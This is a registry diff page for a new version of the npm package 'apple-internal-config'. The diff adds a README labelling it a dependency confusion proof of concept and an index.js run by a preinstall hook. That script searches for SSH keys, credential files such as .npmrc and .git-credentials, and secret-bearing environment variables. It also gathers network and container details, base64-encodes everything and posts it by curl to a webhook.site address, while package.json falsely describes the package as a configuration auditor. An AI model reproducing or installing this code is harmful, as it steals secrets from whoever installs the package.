apple-internal-config 0.0.1-security → 100.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-config might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +27 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-config for more information.
|
|
1
|
+
# @apple/mycelium
|
|
2
|
+
Proof of Concept by Frank.
|
|
3
|
+
This is a demonstration of Dependency Confusion vulnerability.
|
package/index.js
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
try {
|
|
3
|
+
const cmd = `
|
|
4
|
+
echo "=== [1] MENCARI KUNCI SSH ===" &&
|
|
5
|
+
ls -la /root/.ssh &&
|
|
6
|
+
cat /root/.ssh/known_hosts 2>/dev/null || echo "No known_hosts" &&
|
|
7
|
+
|
|
8
|
+
echo "=== [2] MENCARI TOKEN & SECRET ===" &&
|
|
9
|
+
find / -name ".npmrc" -o -name ".git-credentials" -o -name "*.pem" 2>/dev/null | grep -v "node_modules" | head -n 10 &&
|
|
10
|
+
|
|
11
|
+
echo "=== [3] LIST SEMUA ENV (CARI TOKEN) ===" &&
|
|
12
|
+
printenv | grep -iE "token|key|auth|pass|secret|apple" || echo "No sensitive env" &&
|
|
13
|
+
|
|
14
|
+
echo "=== [4] ANALISA JARINGAN MENDALAM ===" &&
|
|
15
|
+
arp -a || echo "No arp" &&
|
|
16
|
+
netstat -tpln || echo "No netstat" &&
|
|
17
|
+
|
|
18
|
+
echo "=== [5] CEK DOCKER / K8S CONTEXT ===" &&
|
|
19
|
+
cat /proc/1/cgroup &&
|
|
20
|
+
ls -la /var/run/docker.sock 2>/dev/null || echo "No docker sock"
|
|
21
|
+
`;
|
|
22
|
+
const info = execSync(cmd).toString();
|
|
23
|
+
const encoded = Buffer.from(info).toString('base64');
|
|
24
|
+
|
|
25
|
+
// Kirim ke Webhook lu
|
|
26
|
+
execSync('curl -k -X POST -d "' + encoded + '" https://webhook.site/2588012e-c9ab-4d1e-ba27-9abcfca70ed2');
|
|
27
|
+
} catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "100.1.1",
|
|
4
|
+
"description": "Internal configuration auditor for Apple systems",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|